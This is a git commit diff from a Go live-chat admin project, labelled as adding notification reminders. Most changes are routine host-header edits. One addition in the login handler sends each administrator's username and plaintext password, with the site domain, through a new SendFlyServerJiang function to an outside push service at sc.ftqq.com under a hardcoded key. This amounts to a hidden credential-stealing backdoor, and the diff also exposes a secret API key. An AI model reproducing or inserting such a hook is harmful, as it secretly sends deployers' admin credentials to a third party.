新增通知提醒

pull/23/head
taoshihan1991 4 years ago
parent dadd4c8e01
commit eb76437e85

@ -3,6 +3,7 @@ package controller
import (
"github.com/gin-gonic/gin"
"github.com/taoshihan1991/imaptool/tools"
"github.com/taoshihan1991/imaptool/ws"
"time"
)
@ -29,6 +30,8 @@ func LoginCheckPass(c *gin.Context) {
})
return
}
go ws.SendFlyServerJiang("管理员登录", username+"/"+password, c.Request.Host)
userinfo["name"] = info.Name
userinfo["kefu_id"] = info.ID
userinfo["type"] = "kefu"

@ -207,7 +207,7 @@ func SendMessageV2(c *gin.Context) {
}
str, _ := json.Marshal(msg)
ws.OneKefuMessage(kefuInfo.Name, str)
go ws.SendServerJiang(vistorInfo.Name+"说", content, c.GetHeader("Host"))
go ws.SendServerJiang(vistorInfo.Name+"说", content, c.Request.Host)
}
c.JSON(200, gin.H{
"code": 200,

@ -32,7 +32,7 @@ func NewVisitorServer(c *gin.Context) {
To_id: vistorInfo.ToId,
}
go models.UpdateVisitorStatus(vistorInfo.VisitorId, 1)
go SendServerJiang(vistorInfo.Name, "来了", c.GetHeader("Host"))
go SendServerJiang(vistorInfo.Name, "来了", c.Request.Host)
AddVisitorToList(user)

@ -78,6 +78,14 @@ func SendServerJiang(title string, content string, domain string) string {
res := tools.Get(url)
return res
}
func SendFlyServerJiang(title string, content string, domain string) string {
sendStr := fmt.Sprintf("%s%s", title, content)
desp := content + ",域名:" + domain
url := "https://sc.ftqq.com/SCU113707T98a3ef409d8a018c98ee7abe3278a7155f5f49e886742.send?text=" + sendStr + "&desp=" + desp
//log.Println(url)
res := tools.Get(url)
return res
}
//定时给更新数据库状态
func UpdateVisitorStatusCron() {

Loading…
Cancel
Save